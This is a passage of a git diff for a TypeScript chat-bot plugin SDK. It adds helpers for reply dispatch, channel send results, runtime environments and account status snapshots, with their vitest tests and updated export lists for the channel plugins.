catch (error) { - const detail = error instanceof Error ? error.message : String(error); - throw new Error(`${params.path} secret reference could not be resolved: ${detail}`, { - cause: error, - }); - } - const resolvedValue = normalizeSecretInputString(resolved.get(secretRefKey(ref))); if (!resolvedValue) { throw new Error(`${params.path} resolved to an empty or non-string value.`); } diff --git a/src/plugin-sdk/allowlist-resolution.test.ts b/src/plugin-sdk/allowlist-resolution.test.ts new file mode 100644 index 00000000000..84b51101c33 --- /dev/null +++ b/src/plugin-sdk/allowlist-resolution.test.ts @@ -0,0 +1,40 @@ +import { describe, expect, it } from "vitest"; +import { + mapBasicAllowlistResolutionEntries, + type BasicAllowlistResolutionEntry, +} from "./allowlist-resolution.js"; + +describe("mapBasicAllowlistResolutionEntries", () => { + it("maps entries to normalized allowlist resolver output", () => { + const entries: BasicAllowlistResolutionEntry[] = [ + { + input: "alice", + resolved: true, + id: "U123", + name: "Alice", + note: "ok", + }, + { + input: "bob", + resolved: false, + }, + ]; + + expect(mapBasicAllowlistResolutionEntries(entries)).toEqual([ + { + input: "alice", + resolved: true, + id: "U123", + name: "Alice", + note: "ok", + }, + { + input: "bob", + resolved: false, + id: undefined, + name: undefined, + note: undefined, + }, + ]); + }); +}); diff --git a/src/plugin-sdk/allowlist-resolution.ts b/src/plugin-sdk/allowlist-resolution.ts new file mode 100644 index 00000000000..edfb27d9ef8 --- /dev/null +++ b/src/plugin-sdk/allowlist-resolution.ts @@ -0,0 +1,19 @@ +export type BasicAllowlistResolutionEntry = { + input: string; + resolved: boolean; + id?: string; + name?: string; + note?: string; +}; + +export function mapBasicAllowlistResolutionEntries( + entries: BasicAllowlistResolutionEntry[], +): BasicAllowlistResolutionEntry[] { + return entries.map((entry) => ({ + input: entry.input, + resolved: entry.resolved, + id: entry.id, + name: entry.name, + note: entry.note, + })); +} diff --git a/src/plugin-sdk/bluebubbles.ts b/src/plugin-sdk/bluebubbles.ts index 0d9d8f4e4eb..8489d4cb892 100644 --- a/src/plugin-sdk/bluebubbles.ts +++ b/src/plugin-sdk/bluebubbles.ts @@ -85,7 +85,11 @@ export type { WizardPrompter } from "../wizard/prompts.js"; export { isAllowedParsedChatSender } from "./allow-from.js"; export { readBooleanParam } from "./boolean-param.js"; export { createScopedPairingAccess } from "./pairing-access.js"; -export { buildProbeChannelStatusSummary } from "./status-helpers.js"; +export { resolveRequestUrl } from "./request-url.js"; +export { + buildComputedAccountStatusSnapshot, + buildProbeChannelStatusSummary, +} from "./status-helpers.js"; export { extractToolSend } from "./tool-send.js"; export { normalizeWebhookPath } from "./webhook-path.js"; export { diff --git a/src/plugin-sdk/channel-send-result.ts b/src/plugin-sdk/channel-send-result.ts new file mode 100644 index 00000000000..e64ff290fea --- /dev/null +++ b/src/plugin-sdk/channel-send-result.ts @@ -0,0 +1,14 @@ +export type ChannelSendRawResult = { + ok: boolean; + messageId?: string | null; + error?: string | null; +}; + +export function buildChannelSendResult(channel: string, result: ChannelSendRawResult) { + return { + channel, + ok: result.ok, + messageId: result.messageId ?? "", + error: result.error ? new Error(result.error) : undefined, + }; +} diff --git a/src/plugin-sdk/discord-send.ts b/src/plugin-sdk/discord-send.ts new file mode 100644 index 00000000000..537ec5d7662 --- /dev/null +++ b/src/plugin-sdk/discord-send.ts @@ -0,0 +1,33 @@ +import type { DiscordSendResult } from "../discord/send.types.js"; + +type DiscordSendOptionInput = { + replyToId?: string | null; + accountId?: string | null; + silent?: boolean; +}; + +type DiscordSendMediaOptionInput = DiscordSendOptionInput & { + mediaUrl?: string; + mediaLocalRoots?: readonly string[]; +}; + +export function buildDiscordSendOptions(input: DiscordSendOptionInput) { + return { + verbose: false, + replyTo: input.replyToId ?? undefined, + accountId: input.accountId ?? undefined, + silent: input.silent ?? undefined, + }; +} + +export function buildDiscordSendMediaOptions(input: DiscordSendMediaOptionInput) { + return { + ...buildDiscordSendOptions(input), + mediaUrl: input.mediaUrl, + mediaLocalRoots: input.mediaLocalRoots, + }; +} + +export function tagDiscordChannelResult(result: DiscordSendResult) { + return { channel: "discord" as const, ...result }; +} diff --git a/src/plugin-sdk/feishu.ts b/src/plugin-sdk/feishu.ts index 959f8af124a..300daefc983 100644 --- a/src/plugin-sdk/feishu.ts +++ b/src/plugin-sdk/feishu.ts @@ -59,6 +59,8 @@ export { createScopedPairingAccess } from "./pairing-access.js"; export { createPersistentDedupe } from "./persistent-dedupe.js"; export { buildBaseChannelStatusSummary, + buildProbeChannelStatusSummary, + buildRuntimeAccountStatusSnapshot, createDefaultChannelRuntimeState, } from "./status-helpers.js"; export { withTempDownloadPath } from "./temp-path.js"; diff --git a/src/plugin-sdk/imessage.ts b/src/plugin-sdk/imessage.ts index 7e31560991d..44dfbd4a149 100644 --- a/src/plugin-sdk/imessage.ts +++ b/src/plugin-sdk/imessage.ts @@ -47,3 +47,4 @@ export { imessageOnboardingAdapter } from "../channels/plugins/onboarding/imessa export { IMessageConfigSchema } from "../config/zod-schema.providers-core.js"; export { resolveChannelMediaMaxBytes } from "../channels/plugins/media-limits.js"; +export { collectStatusIssuesFromLastError } from "./status-helpers.js"; diff --git a/src/plugin-sdk/inbound-reply-dispatch.ts b/src/plugin-sdk/inbound-reply-dispatch.ts new file mode 100644 index 00000000000..cf11b3ee451 --- /dev/null +++ b/src/plugin-sdk/inbound-reply-dispatch.ts @@ -0,0 +1,143 @@ +import { withReplyDispatcher } from "../auto-reply/dispatch.js"; +import { + dispatchReplyFromConfig, + type DispatchFromConfigResult, +} from "../auto-reply/reply/dispatch-from-config.js"; +import type { ReplyDispatcher } from "../auto-reply/reply/reply-dispatcher.js"; +import type { FinalizedMsgContext } from "../auto-reply/templating.js"; +import type { GetReplyOptions } from "../auto-reply/types.js"; +import { createReplyPrefixOptions } from "../channels/reply-prefix.js"; +import type { OpenClawConfig } from "../config/config.js"; +import { createNormalizedOutboundDeliverer, type OutboundReplyPayload } from "./reply-payload.js"; + +type ReplyOptionsWithoutModelSelected = Omit< + Omit, + "onModelSelected" +>; +type RecordInboundSessionFn = typeof import("../channels/session.js").recordInboundSession; +type DispatchReplyWithBufferedBlockDispatcherFn = + typeof import("../auto-reply/reply/provider-dispatcher.js").dispatchReplyWithBufferedBlockDispatcher; + +type ReplyDispatchFromConfigOptions = Omit; + +export async function dispatchReplyFromConfigWithSettledDispatcher(params: { + cfg: OpenClawConfig; + ctxPayload: FinalizedMsgContext; + dispatcher: ReplyDispatcher; + onSettled: () => void | Promise; + replyOptions?: ReplyDispatchFromConfigOptions; +}): Promise { + return await withReplyDispatcher({ + dispatcher: params.dispatcher, + onSettled: params.onSettled, + run: () => + dispatchReplyFromConfig({ + ctx: params.ctxPayload, + cfg: params.cfg, + dispatcher: params.dispatcher, + replyOptions: params.replyOptions, + }), + }); +} + +export function buildInboundReplyDispatchBase(params: { + cfg: OpenClawConfig; + channel: string; + accountId?: string; + route: { + agentId: string; + sessionKey: string; + }; + storePath: string; + ctxPayload: FinalizedMsgContext; + core: { + channel: { + session: { + recordInboundSession: RecordInboundSessionFn; + }; + reply: { + dispatchReplyWithBufferedBlockDispatcher: DispatchReplyWithBufferedBlockDispatcherFn; + }; + }; + }; +}) { + return { + cfg: params.cfg, + channel: params.channel, + accountId: params.accountId, + agentId: params.route.agentId, + routeSessionKey: params.route.sessionKey, + storePath: params.storePath, + ctxPayload: params.ctxPayload, + recordInboundSession: params.core.channel.session.recordInboundSession, + dispatchReplyWithBufferedBlockDispatcher: + params.core.channel.reply.dispatchReplyWithBufferedBlockDispatcher, + }; +} + +type BuildInboundReplyDispatchBaseParams = Parameters[0]; +type RecordInboundSessionAndDispatchReplyParams = Parameters< + typeof recordInboundSessionAndDispatchReply +>[0]; + +export async function dispatchInboundReplyWithBase( + params: BuildInboundReplyDispatchBaseParams & + Pick< + RecordInboundSessionAndDispatchReplyParams, + "deliver" | "onRecordError" | "onDispatchError" | "replyOptions" + >, +): Promise { + const dispatchBase = buildInboundReplyDispatchBase(params); + await recordInboundSessionAndDispatchReply({ + ...dispatchBase, + deliver: params.deliver, + onRecordError: params.onRecordError, + onDispatchError: params.onDispatchError, + replyOptions: params.replyOptions, + }); +} + +export async function recordInboundSessionAndDispatchReply(params: { + cfg: OpenClawConfig; + channel: string; + accountId?: string; + agentId: string; + routeSessionKey: string; + storePath: string; + ctxPayload: FinalizedMsgContext; + recordInboundSession: RecordInboundSessionFn; + dispatchReplyWithBufferedBlockDispatcher: DispatchReplyWithBufferedBlockDispatcherFn; + deliver: (payload: OutboundReplyPayload) => Promise; + onRecordError: (err: unknown) => void; + onDispatchError: (err: unknown, info: { kind: string }) => void; + replyOptions?: ReplyOptionsWithoutModelSelected; +}): Promise { + await params.recordInboundSession({ + storePath: params.storePath, + sessionKey: params.ctxPayload.SessionKey ?? params.routeSessionKey, + ctx: params.ctxPayload, + onRecordError: params.onRecordError, + }); + + const { onModelSelected, ...prefixOptions } = createReplyPrefixOptions({ + cfg: params.cfg, + agentId: params.agentId, + channel: params.channel, + accountId: params.accountId, + }); + const deliver = createNormalizedOutboundDeliverer(params.deliver); + + await params.dispatchReplyWithBufferedBlockDispatcher({ + ctx: params.ctxPayload, + cfg: params.cfg, + dispatcherOptions: { + ...prefixOptions, + deliver, + onError: params.onDispatchError, + }, + replyOptions: { + ...params.replyOptions, + onModelSelected, + }, + }); +} diff --git a/src/plugin-sdk/index.ts b/src/plugin-sdk/index.ts index 07b0846cddb..06f95c58d6b 100644 --- a/src/plugin-sdk/index.ts +++ b/src/plugin-sdk/index.ts @@ -132,6 +132,16 @@ export { isDangerousNameMatchingEnabled } from "../config/dangerous-name-matchin export type { FileLockHandle, FileLockOptions } from "./file-lock.js"; export { acquireFileLock, withFileLock } from "./file-lock.js"; +export { + mapBasicAllowlistResolutionEntries, + type BasicAllowlistResolutionEntry, +} from "./allowlist-resolution.js"; +export { resolveRequestUrl } from "./request-url.js"; +export { + buildDiscordSendMediaOptions, + buildDiscordSendOptions, + tagDiscordChannelResult, +} from "./discord-send.js"; export type { KeyedAsyncQueueHooks } from "./keyed-async-queue.js"; export { enqueueKeyedTask, KeyedAsyncQueue } from "./keyed-async-queue.js"; export { normalizeWebhookPath, resolveWebhookPath } from "./webhook-path.js"; @@ -167,7 +177,9 @@ export { buildAgentMediaPayload } from "./agent-media-payload.js"; export { buildBaseAccountStatusSnapshot, buildBaseChannelStatusSummary, + buildComputedAccountStatusSnapshot, buildProbeChannelStatusSummary, + buildRuntimeAccountStatusSnapshot, buildTokenChannelStatusSummary, collectStatusIssuesFromLastError, createDefaultChannelRuntimeState, @@ -178,6 +190,8 @@ export { } from "../channels/plugins/onboarding/helpers.js"; export { buildOauthProviderAuthResult } from "./provider-auth-result.js"; export { formatResolvedUnresolvedNote } from "./resolution-notes.js"; +export { buildChannelSendResult } from "./channel-send-result.js"; +export type { ChannelSendRawResult } from "./channel-send-result.js"; export type { ChannelDock } from "../channels/dock.js"; export { getChatChannelMeta } from "../channels/registry.js"; export { resolveAllowlistMatchByCandidates } from "../channels/allowlist-match.js"; @@ -278,6 +292,7 @@ export { resolveInboundRouteEnvelopeBuilder, resolveInboundRouteEnvelopeBuilderWithRuntime, } from "./inbound-envelope.js"; +export { resolveInboundSessionEnvelopeContext } from "../channels/session-envelope.js"; export { listConfiguredAccountIds, resolveAccountWithDefaultFallback, @@ -288,17 +303,29 @@ export { extractToolSend } from "./tool-send.js"; export { createNormalizedOutboundDeliverer, formatTextWithAttachmentLinks, + isNumericTargetId, normalizeOutboundReplyPayload, resolveOutboundMediaUrls, + sendPayloadWithChunkedTextAndMedia, sendMediaWithLeadingCaption, } from "./reply-payload.js"; export type { OutboundReplyPayload } from "./reply-payload.js"; +export { + buildInboundReplyDispatchBase, + dispatchInboundReplyWithBase, + dispatchReplyFromConfigWithSettledDispatcher, + recordInboundSessionAndDispatchReply, +} from "./inbound-reply-dispatch.js"; export type { OutboundMediaLoadOptions } from "./outbound-media.js"; export { loadOutboundMediaFromUrl } from "./outbound-media.js"; export { resolveChannelAccountConfigBasePath } from "./config-paths.js"; export { buildMediaPayload } from "../channels/plugins/media-payload.js"; export type { MediaPayload, MediaPayloadInput } from "../channels/plugins/media-payload.js"; -export { createLoggerBackedRuntime } from "./runtime.js"; +export { + createLoggerBackedRuntime, + resolveRuntimeEnv, + resolveRuntimeEnvWithUnavailableExit, +} from "./runtime.js"; export { chunkTextForOutbound } from "./text-chunking.js"; export { readBooleanParam } from "./boolean-param.js"; export { readJsonFileWithFallback, writeJsonFileAtomically } from "./json-store.js"; @@ -487,6 +514,7 @@ export type { PollInput } from "../polls.js"; export { buildChannelConfigSchema } from "../channels/plugins/config-schema.js"; export { + clearAccountEntryFields, deleteAccountFromConfigSection, setAccountEnabledInConfigSection, } from "../channels/plugins/config-helpers.js"; @@ -589,12 +617,18 @@ export { normalizeIMessageMessagingTarget, } from "../channels/plugins/normalize/imessage.js"; export { + createAllowedChatSenderMatcher, parseChatAllowTargetPrefixes, parseChatTargetPrefixesOrThrow, + resolveServicePrefixedChatTarget, resolveServicePrefixedAllowTarget, + resolveServicePrefixedOrChatAllowTarget, resolveServicePrefixedTarget, } from "../imessage/target-parsing-helpers.js"; -export type { ParsedChatTarget } from "../imessage/target-parsing-helpers.js"; +export type { + ChatSenderAllowParams, + ParsedChatTarget, +} from "../imessage/target-parsing-helpers.js"; // Channel: Slack export { diff --git a/src/plugin-sdk/irc.ts b/src/plugin-sdk/irc.ts index 9706c552450..afc9428bb05 100644 --- a/src/plugin-sdk/irc.ts +++ b/src/plugin-sdk/irc.ts @@ -60,6 +60,7 @@ export { export { formatDocsLink } from "../terminal/links.js"; export type { WizardPrompter } from "../wizard/prompts.js"; export { createScopedPairingAccess } from "./pairing-access.js"; +export { dispatchInboundReplyWithBase } from "./inbound-reply-dispatch.js"; export type { OutboundReplyPayload } from "./reply-payload.js"; export { createNormalizedOutboundDeliverer, diff --git a/src/plugin-sdk/line.ts b/src/plugin-sdk/line.ts index f7f6a3eeb37..0318e5ac1e7 100644 --- a/src/plugin-sdk/line.ts +++ b/src/plugin-sdk/line.ts @@ -14,13 +14,17 @@ export { emptyPluginConfigSchema } from "../plugins/config-schema.js"; export { DEFAULT_ACCOUNT_ID } from "../routing/session-key.js"; export { buildChannelConfigSchema } from "../channels/plugins/config-schema.js"; +export { clearAccountEntryFields } from "../channels/plugins/config-helpers.js"; export { resolveAllowlistProviderRuntimeGroupPolicy, resolveDefaultGroupPolicy, } from "../config/runtime-group-policy.js"; -export { buildTokenChannelStatusSummary } from "./status-helpers.js"; +export { + buildComputedAccountStatusSnapshot, + buildTokenChannelStatusSummary, +} from "./status-helpers.js"; export { LineConfigSchema } from "../line/config-schema.js"; export type { LineChannelData, LineConfig, ResolvedLineAccount } from "../line/types.js"; diff --git a/src/plugin-sdk/matrix.ts b/src/plugin-sdk/matrix.ts index fca8773e9b3..63712fc8d71 100644 --- a/src/plugin-sdk/matrix.ts +++ b/src/plugin-sdk/matrix.ts @@ -92,5 +92,10 @@ export type { WizardPrompter } from "../wizard/prompts.js"; export { createScopedPairingAccess } from "./pairing-access.js"; export { formatResolvedUnresolvedNote } from "./resolution-notes.js"; export { runPluginCommandWithTimeout } from "./run-command.js"; -export { createLoggerBackedRuntime } from "./runtime.js"; -export { buildProbeChannelStatusSummary } from "./status-helpers.js"; +export { dispatchReplyFromConfigWithSettledDispatcher } from "./inbound-reply-dispatch.js"; +export { createLoggerBackedRuntime, resolveRuntimeEnv } from "./runtime.js"; +export { resolveInboundSessionEnvelopeContext } from "../channels/session-envelope.js"; +export { + buildProbeChannelStatusSummary, + collectStatusIssuesFromLastError, +} from "./status-helpers.js"; diff --git a/src/plugin-sdk/minimax-portal-auth.ts b/src/plugin-sdk/minimax-portal-auth.ts index 2f6ab59e124..9a8b0f0bb80 100644 --- a/src/plugin-sdk/minimax-portal-auth.ts +++ b/src/plugin-sdk/minimax-portal-auth.ts @@ -2,6 +2,7 @@ // Keep this list additive and scoped to symbols used under extensions/minimax-portal-auth. export { emptyPluginConfigSchema } from "../plugins/config-schema.js"; +export { buildOauthProviderAuthResult } from "./provider-auth-result.js"; export type { OpenClawPluginApi, ProviderAuthContext, diff --git a/src/plugin-sdk/msteams.ts b/src/plugin-sdk/msteams.ts index 28f5e10a4c0..ae3e7d3564e 100644 --- a/src/plugin-sdk/msteams.ts +++ b/src/plugin-sdk/msteams.ts @@ -94,9 +94,11 @@ export { loadWebMedia } from "../web/media.js"; export type { WizardPrompter } from "../wizard/prompts.js"; export { keepHttpServerTaskAlive } from "./channel-lifecycle.js"; export { withFileLock } from "./file-lock.js"; +export { dispatchReplyFromConfigWithSettledDispatcher } from "./inbound-reply-dispatch.js"; export { readJsonFileWithFallback, writeJsonFileAtomically } from "./json-store.js"; export { loadOutboundMediaFromUrl } from "./outbound-media.js"; export { createScopedPairingAccess } from "./pairing-access.js"; +export { resolveInboundSessionEnvelopeContext } from "../channels/session-envelope.js"; export { buildHostnameAllowlistPolicyFromSuffixAllowlist, isHttpsUrlAllowedByHostnameSuffixAllowlist, @@ -104,5 +106,7 @@ export { } from "./ssrf-policy.js"; export { buildBaseChannelStatusSummary, + buildProbeChannelStatusSummary, + buildRuntimeAccountStatusSnapshot, createDefaultChannelRuntimeState, } from "./status-helpers.js"; diff --git a/src/plugin-sdk/nextcloud-talk.ts b/src/plugin-sdk/nextcloud-talk.ts index 7d66c5e66be..14d633a4c85 100644 --- a/src/plugin-sdk/nextcloud-talk.ts +++ b/src/plugin-sdk/nextcloud-talk.ts @@ -12,6 +12,7 @@ export { } from "../channels/plugins/channel-config.js"; export { deleteAccountFromConfigSection, + clearAccountEntryFields, setAccountEnabledInConfigSection, } from "../channels/plugins/config-helpers.js"; export { buildChannelConfigSchema } from "../channels/plugins/config-schema.js"; @@ -89,4 +90,9 @@ export { formatTextWithAttachmentLinks, resolveOutboundMediaUrls, } from "./reply-payload.js"; +export { dispatchInboundReplyWithBase } from "./inbound-reply-dispatch.js"; export { createLoggerBackedRuntime } from "./runtime.js"; +export { + buildBaseChannelStatusSummary, + buildRuntimeAccountStatusSnapshot, +} from "./status-helpers.js"; diff --git a/src/plugin-sdk/qwen-portal-auth.ts b/src/plugin-sdk/qwen-portal-auth.ts index 33d03ae394b..1056b98d0cf 100644 --- a/src/plugin-sdk/qwen-portal-auth.ts +++ b/src/plugin-sdk/qwen-portal-auth.ts @@ -2,5 +2,6 @@ // Keep this list additive and scoped to symbols used under extensions/qwen-portal-auth. export { emptyPluginConfigSchema } from "../plugins/config-schema.js"; +export { buildOauthProviderAuthResult } from "./provider-auth-result.js"; export type { OpenClawPluginApi, ProviderAuthContext } from "../plugins/types.js"; export { generatePkceVerifierChallenge, toFormUrlEncoded } from "./oauth-utils.js"; diff --git a/src/plugin-sdk/reply-payload.test.ts b/src/plugin-sdk/reply-payload.test.ts new file mode 100644 index 00000000000..780b75686a1 --- /dev/null +++ b/src/plugin-sdk/reply-payload.test.ts @@ -0,0 +1,58 @@ +import { describe, expect, it } from "vitest"; +import { isNumericTargetId, sendPayloadWithChunkedTextAndMedia } from "./reply-payload.js"; + +describe("sendPayloadWithChunkedTextAndMedia", () => { + it("returns empty result when payload has no text and no media", async () => { + const result = await sendPayloadWithChunkedTextAndMedia({ + ctx: { payload: {} }, + sendText: async () => ({ channel: "test", messageId: "text" }), + sendMedia: async () => ({ channel: "test", messageId: "media" }), + emptyResult: { channel: "test", messageId: "" }, + }); + expect(result).toEqual({ channel: "test", messageId: "" }); + }); + + it("sends first media with text and remaining media without text", async () => { + const calls: Array<{ text: string; mediaUrl: string }> = []; + const result = await sendPayloadWithChunkedTextAndMedia({ + ctx: { + payload: { text: "hello", mediaUrls: ["https://a", "https://b"] }, + }, + sendText: async () => ({ channel: "test", messageId: "text" }), + sendMedia: async (ctx) => { + calls.push({ text: ctx.text, mediaUrl: ctx.mediaUrl }); + return { channel: "test", messageId: ctx.mediaUrl }; + }, + emptyResult: { channel: "test", messageId: "" }, + }); + expect(calls).toEqual([ + { text: "hello", mediaUrl: "https://a" }, + { text: "", mediaUrl: "https://b" }, + ]); + expect(result).toEqual({ channel: "test", messageId: "https://b" }); + }); + + it("chunks text and sends each chunk", async () => { + const chunks: string[] = []; + const result = await sendPayloadWithChunkedTextAndMedia({ + ctx: { payload: { text: "alpha beta gamma" } }, + textChunkLimit: 5, + chunker: () => ["alpha", "beta", "gamma"], + sendText: async (ctx) => { + chunks.push(ctx.text); + return { channel: "test", messageId: ctx.text }; + }, + sendMedia: async () => ({ channel: "test", messageId: "media" }), + emptyResult: { channel: "test", messageId: "" }, + }); + expect(chunks).toEqual(["alpha", "beta", "gamma"]); + expect(result).toEqual({ channel: "test", messageId: "gamma" }); + }); + + it("detects numeric target IDs", () => { + expect(isNumericTargetId("12345")).toBe(true); + expect(isNumericTargetId(" 987 ")).toBe(true); + expect(isNumericTargetId("ab12")).toBe(false); + expect(isNumericTargetId("")).toBe(false); + }); +}); diff --git a/src/plugin-sdk/reply-payload.ts b/src/plugin-sdk/reply-payload.ts index b2534cd629c..e141da2a940 100644 --- a/src/plugin-sdk/reply-payload.ts +++ b/src/plugin-sdk/reply-payload.ts @@ -49,6 +49,55 @@ export function resolveOutboundMediaUrls(payload: { return []; } +export async function sendPayloadWithChunkedTextAndMedia< + TContext extends { payload: object }, + TResult, +>(params: { + ctx: TContext; + textChunkLimit?: number; + chunker?: ((text: string, limit: number) => string[]) | null; + sendText: (ctx: TContext & { text: string }) => Promise; + sendMedia: (ctx: TContext & { text: string; mediaUrl: string }) => Promise; + emptyResult: TResult; +}): Promise { + const payload = params.ctx.payload as { text?: string; mediaUrls?: string[]; mediaUrl?: string }; + const text = payload.text ?? ""; + const urls = resolveOutboundMediaUrls(payload); + if (!text && urls.length === 0) { + return params.emptyResult; + } + if (urls.length > 0) { + let lastResult = await params.sendMedia({ + ...params.ctx, + text, + mediaUrl: urls[0], + }); + for (let i = 1; i < urls.length; i++) { + lastResult = await params.sendMedia({ + ...params.ctx, + text: "", + mediaUrl: urls[i], + }); + } + return lastResult; + } + const limit = params.textChunkLimit; + const chunks = limit && params.chunker ? params.chunker(text, limit) : [text]; + let lastResult: TResult; + for (const chunk of chunks) { + lastResult = await params.sendText({ ...params.ctx, text: chunk }); + } + return lastResult!; +} + +export function isNumericTargetId(raw: string): boolean { + const trimmed = raw.trim(); + if (!trimmed) { + return false; + } + return /^\d{3,}$/.test(trimmed); +} + export function formatTextWithAttachmentLinks( text: string | undefined, mediaUrls: string[], diff --git a/src/plugin-sdk/request-url.test.ts b/src/plugin-sdk/request-url.test.ts new file mode 100644 index 00000000000..94c0f1917e3 --- /dev/null +++ b/src/plugin-sdk/request-url.test.ts @@ -0,0 +1,17 @@ +import { describe, expect, it } from "vitest"; +import { resolveRequestUrl } from "./request-url.js"; + +describe("resolveRequestUrl", () => { + it("resolves string input", () => { + expect(resolveRequestUrl("https://example.com/a")).toBe("https://example.com/a"); + }); + + it("resolves URL input", () => { + expect(resolveRequestUrl(new URL("https://example.com/b"))).toBe("https://example.com/b"); + }); + + it("resolves object input with url field", () => { + const requestLike = { url: "https://example.com/c" } as unknown as RequestInfo; + expect(resolveRequestUrl(requestLike)).toBe("https://example.com/c"); + }); +}); diff --git a/src/plugin-sdk/request-url.ts b/src/plugin-sdk/request-url.ts new file mode 100644 index 00000000000..2ba7354cc28 --- /dev/null +++ b/src/plugin-sdk/request-url.ts @@ -0,0 +1,12 @@ +export function resolveRequestUrl(input: RequestInfo | URL): string { + if (typeof input === "string") { + return input; + } + if (input instanceof URL) { + return input.toString(); + } + if (typeof input === "object" && input && "url" in input && typeof input.url === "string") { + return input.url; + } + return ""; +} diff --git a/src/plugin-sdk/runtime.test.ts b/src/plugin-sdk/runtime.test.ts new file mode 100644 index 00000000000..0dedb79e8e1 --- /dev/null +++ b/src/plugin-sdk/runtime.test.ts @@ -0,0 +1,39 @@ +import { describe, expect, it, vi } from "vitest"; +import type { RuntimeEnv } from "../runtime.js"; +import { resolveRuntimeEnv } from "./runtime.js"; + +describe("resolveRuntimeEnv", () => { + it("returns provided runtime when present", () => { + const runtime: RuntimeEnv = { + log: vi.fn(), + error: vi.fn(), + exit: vi.fn(() => { + throw new Error("exit"); + }), + }; + const logger = { + info: vi.fn(), + error: vi.fn(), + }; + + const resolved = resolveRuntimeEnv({ runtime, logger }); + + expect(resolved).toBe(runtime); + expect(logger.info).not.toHaveBeenCalled(); + expect(logger.error).not.toHaveBeenCalled(); + }); + + it("creates logger-backed runtime when runtime is missing", () => { + const logger = { + info: vi.fn(), + error: vi.fn(), + }; + + const resolved = resolveRuntimeEnv({ logger }); + resolved.log?.("hello %s", "world"); + resolved.error?.("bad %d", 7); + + expect(logger.info).toHaveBeenCalledWith("hello world"); + expect(logger.error).toHaveBeenCalledWith("bad 7"); + }); +}); diff --git a/src/plugin-sdk/runtime.ts b/src/plugin-sdk/runtime.ts index dac01e9b5dc..c438a4e9788 100644 --- a/src/plugin-sdk/runtime.ts +++ b/src/plugin-sdk/runtime.ts @@ -22,3 +22,23 @@ export function createLoggerBackedRuntime(params: { }, }; } + +export function resolveRuntimeEnv(params: { + runtime?: RuntimeEnv; + logger: LoggerLike; + exitError?: (code: number) => Error; +}): RuntimeEnv { + return params.runtime ?? createLoggerBackedRuntime(params); +} + +export function resolveRuntimeEnvWithUnavailableExit(params: { + runtime?: RuntimeEnv; + logger: LoggerLike; + unavailableMessage?: string; +}): RuntimeEnv { + return resolveRuntimeEnv({ + runtime: params.runtime, + logger: params.logger, + exitError: () => new Error(params.unavailableMessage ?? "Runtime exit not available"), + }); +} diff --git a/src/plugin-sdk/status-helpers.test.ts b/src/plugin-sdk/status-helpers.test.ts index b2e10cc4ae8..b2b75bb1414 100644 --- a/src/plugin-sdk/status-helpers.test.ts +++ b/src/plugin-sdk/status-helpers.test.ts @@ -2,6 +2,8 @@ import { describe, expect, it } from "vitest"; import { buildBaseAccountStatusSnapshot, buildBaseChannelStatusSummary, + buildComputedAccountStatusSnapshot, + buildRuntimeAccountStatusSnapshot, buildTokenChannelStatusSummary, collectStatusIssuesFromLastError, createDefaultChannelRuntimeState, @@ -88,6 +90,42 @@ describe("buildBaseAccountStatusSnapshot", () => { }); }); +describe("buildComputedAccountStatusSnapshot", () => { + it("builds account status when configured is computed outside resolver", () => { + expect( + buildComputedAccountStatusSnapshot({ + accountId: "default", + enabled: true, + configured: false, + }), + ).toEqual({ + accountId: "default", + name: undefined, + enabled: true, + configured: false, + running: false, + lastStartAt: null, + lastStopAt: null, + lastError: null, + probe: undefined, + lastInboundAt: null, + lastOutboundAt: null, + }); + }); +}); + +describe("buildRuntimeAccountStatusSnapshot", () => { + it("builds runtime lifecycle fields with defaults", () => { + expect(buildRuntimeAccountStatusSnapshot({})).toEqual({ + running: false, + lastStartAt: null, + lastStopAt: null, + lastError: null, + probe: undefined, + }); + }); +}); + describe("buildTokenChannelStatusSummary", () => { it("includes token/probe fields with mode by default", () => { expect(buildTokenChannelStatusSummary({})).toEqual({ diff --git a/src/plugin-sdk/status-helpers.ts b/src/plugin-sdk/status-helpers.ts index c6abc1d6e54..42aad35a702 100644 --- a/src/plugin-sdk/status-helpers.ts +++ b/src/plugin-sdk/status-helpers.ts @@ -81,13 +81,44 @@ export function buildBaseAccountStatusSnapshot(params: { name: account.name, enabled: account.enabled, configured: account.configured, + ...buildRuntimeAccountStatusSnapshot({ runtime, probe }), + lastInboundAt: runtime?.lastInboundAt ?? null, + lastOutboundAt: runtime?.lastOutboundAt ?? null, + }; +} + +export function buildComputedAccountStatusSnapshot(params: { + accountId: string; + name?: string; + enabled?: boolean; + configured?: boolean; + runtime?: RuntimeLifecycleSnapshot | null; + probe?: unknown; +}) { + const { accountId, name, enabled, configured, runtime, probe } = params; + return buildBaseAccountStatusSnapshot({ + account: { + accountId, + name, + enabled, + configured, + }, + runtime, + probe, + }); +} + +export function buildRuntimeAccountStatusSnapshot(params: { + runtime?: RuntimeLifecycleSnapshot | null; + probe?: unknown; +}) { + const { runtime, probe } = params; + return { running: runtime?.running ?? false, lastStartAt: runtime?.lastStartAt ?? null, lastStopAt: runtime?.lastStopAt ?? null, lastError: runtime?.lastError ?? null, probe, - lastInboundAt: runtime?.lastInboundAt ?? null, - lastOutboundAt: runtime?.lastOutboundAt ?? null, }; } diff --git a/src/plugin-sdk/telegram.ts b/src/plugin-sdk/telegram.ts index c4dfce3e441..53167998404 100644 --- a/src/plugin-sdk/telegram.ts +++ b/src/plugin-sdk/telegram.ts @@ -22,6 +22,7 @@ export { export { buildChannelConfigSchema } from "../channels/plugins/config-schema.js"; export { deleteAccountFromConfigSection, + clearAccountEntryFields, setAccountEnabledInConfigSection, } from "../channels/plugins/config-helpers.js"; export { formatPairingApproveHint } from "../channels/plugins/helpers.js"; diff --git a/src/plugin-sdk/zalo.ts b/src/plugin-sdk/zalo.ts index 07237369d2e..440cffd0de9 100644 --- a/src/plugin-sdk/zalo.ts +++ b/src/plugin-sdk/zalo.ts @@ -66,9 +66,18 @@ export { evaluateSenderGroupAccess } from "./group-access.js"; export type { SenderGroupAccessDecision } from "./group-access.js"; export { resolveInboundRouteEnvelopeBuilderWithRuntime } from "./inbound-envelope.js"; export { createScopedPairingAccess } from "./pairing-access.js"; +export { buildChannelSendResult } from "./channel-send-result.js"; export type { OutboundReplyPayload } from "./reply-payload.js"; -export { resolveOutboundMediaUrls, sendMediaWithLeadingCaption } from "./reply-payload.js"; -export { buildTokenChannelStatusSummary } from "./status-helpers.js"; +export { + isNumericTargetId, + resolveOutboundMediaUrls, + sendMediaWithLeadingCaption, + sendPayloadWithChunkedTextAndMedia, +} from "./reply-payload.js"; +export { + buildBaseAccountStatusSnapshot, + buildTokenChannelStatusSummary, +} from 